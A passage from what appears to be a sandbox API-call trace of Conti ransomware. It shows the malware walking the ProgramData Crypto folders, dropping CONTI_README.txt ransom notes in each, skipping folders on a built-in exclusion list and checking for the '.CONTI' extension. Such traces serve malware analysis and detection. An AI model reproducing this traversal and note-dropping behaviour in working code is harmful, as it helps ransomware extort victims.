	[0103.850] lstrcpyW (in: lpString1=0x17345e8, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0103.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0103.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.850] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.850] GetProcessHeap () returned 0x1720000
	[0103.850] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d738
	[0103.850] lstrcpyW (in: lpString1=0x173d738, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\*"
	[0103.850] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.850] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.850] GetProcessHeap () returned 0x1720000
	[0103.850] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x1741370
	[0103.850] lstrcpyW (in: lpString1=0x1741370, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\CONTI_README.txt"
	[0103.850] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0103.852] GetProcessHeap () returned 0x1720000
	[0103.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741370 | out: hHeap=0x1720000) returned 1
	[0103.852] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0103.853] CloseHandle (hObject=0x30c) returned 1
	[0103.853] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0103.853] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.853] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.853] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.853] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.853] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bd7a3e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bd7a3e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.853] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.853] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.853] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.853] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.853] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="DSS", cAlternateFileName="")) returned 1
	[0103.853] lstrcmpiW (lpString1="DSS", lpString2=".") returned 1
	[0103.853] lstrcmpiW (lpString1="DSS", lpString2="..") returned 1
	[0103.853] lstrcmpiW (lpString1="DSS", lpString2="tmp") returned -1
	[0103.853] lstrcmpiW (lpString1="DSS", lpString2="winnt") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="Application Data") returned 1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="AppData") returned 1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="temp") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="thumb") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="$Recycle.Bin") returned 1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="$RECYCLE.BIN") returned 1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="System Volume Information") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="Program Files") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="Program Files (x86)") returned -1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="Boot") returned 1
	[0103.854] lstrcmpiW (lpString1="DSS", lpString2="Windows") returned -1
	[0103.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.854] lstrlenW (lpString="DSS") returned 3
	[0103.854] GetProcessHeap () returned 0x1720000
	[0103.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d558
	[0103.854] lstrcpyW (in: lpString1=0x173d558, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0103.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 35
	[0103.854] GetProcessHeap () returned 0x1720000
	[0103.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf0d0
	[0103.854] lstrcpyW (in: lpString1=0x17bf0d0, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0103.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*"
	[0103.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 35
	[0103.854] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.854] GetProcessHeap () returned 0x1720000
	[0103.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740af0
	[0103.854] lstrcpyW (in: lpString1=0x1740af0, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0103.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\"
	[0103.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\CONTI_README.txt"
	[0103.854] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0103.855] GetProcessHeap () returned 0x1720000
	[0103.855] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740af0 | out: hHeap=0x1720000) returned 1
	[0103.855] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.855] CloseHandle (hObject=0x394) returned 1
	[0103.856] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0103.856] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.856] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.856] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.856] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.856] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bd7a3e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bd7a3e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bd7a3e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.856] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.856] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.856] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.856] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.856] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0103.856] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0103.856] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0103.856] lstrcmpiW (lpString1="MachineKeys", lpString2="tmp") returned -1
	[0103.856] lstrcmpiW (lpString1="MachineKeys", lpString2="winnt") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="Application Data") returned 1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="AppData") returned 1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="thumb") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="$Recycle.Bin") returned 1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="$RECYCLE.BIN") returned 1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="System Volume Information") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files (x86)") returned -1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="Boot") returned 1
	[0103.857] lstrcmpiW (lpString1="MachineKeys", lpString2="Windows") returned -1
	[0103.857] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 35
	[0103.857] lstrlenW (lpString="MachineKeys") returned 11
	[0103.857] GetProcessHeap () returned 0x1720000
	[0103.857] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0bf8
	[0103.857] lstrcpyW (in: lpString1=0x17c0bf8, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0103.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\"
	[0103.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", lpString2="MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0103.857] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 47
	[0103.857] GetProcessHeap () returned 0x1720000
	[0103.857] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741370
	[0103.857] lstrcpyW (in: lpString1=0x1741370, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0103.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*"
	[0103.857] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 47
	[0103.857] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.857] GetProcessHeap () returned 0x1720000
	[0103.857] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17ca048
	[0103.857] lstrcpyW (in: lpString1=0x17ca048, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0103.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\"
	[0103.858] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\CONTI_README.txt"
	[0103.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0103.858] GetProcessHeap () returned 0x1720000
	[0103.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca048 | out: hHeap=0x1720000) returned 1
	[0103.858] WriteFile (in: hFile=0x354, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.859] CloseHandle (hObject=0x354) returned 1
	[0103.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8030
	[0103.859] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.859] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.860] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.860] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.860] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.860] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.860] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.860] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.860] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.860] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0103.860] GetProcessHeap () returned 0x1720000
	[0103.860] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741370 | out: hHeap=0x1720000) returned 1
	[0103.860] FindClose (in: hFindFile=0x17c8030 | out: hFindFile=0x17c8030) returned 1
	[0103.860] GetProcessHeap () returned 0x1720000
	[0103.860] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0bf8 | out: hHeap=0x1720000) returned 1
	[0103.860] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0103.860] GetProcessHeap () returned 0x1720000
	[0103.860] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf0d0 | out: hHeap=0x1720000) returned 1
	[0103.860] FindClose (in: hFindFile=0x17c8570 | out: hFindFile=0x17c8570) returned 1
	[0103.860] GetProcessHeap () returned 0x1720000
	[0103.860] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0103.860] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Keys", cAlternateFileName="")) returned 1
	[0103.860] lstrcmpiW (lpString1="Keys", lpString2=".") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="..") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="tmp") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="winnt") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="Application Data") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="AppData") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="temp") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="thumb") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="$Recycle.Bin") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="$RECYCLE.BIN") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="System Volume Information") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="Program Files") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="Program Files (x86)") returned -1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="Boot") returned 1
	[0103.861] lstrcmpiW (lpString1="Keys", lpString2="Windows") returned -1
	[0103.861] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.861] lstrlenW (lpString="Keys") returned 4
	[0103.861] GetProcessHeap () returned 0x1720000
	[0103.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4a) returned 0x17bed08
	[0103.861] lstrcpyW (in: lpString1=0x17bed08, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0103.861] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 36
	[0103.861] GetProcessHeap () returned 0x1720000
	[0103.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bedb8
	[0103.861] lstrcpyW (in: lpString1=0x17bedb8, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0103.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*"
	[0103.861] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 36
	[0103.861] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.861] GetProcessHeap () returned 0x1720000
	[0103.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740988
	[0103.861] lstrcpyW (in: lpString1=0x1740988, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
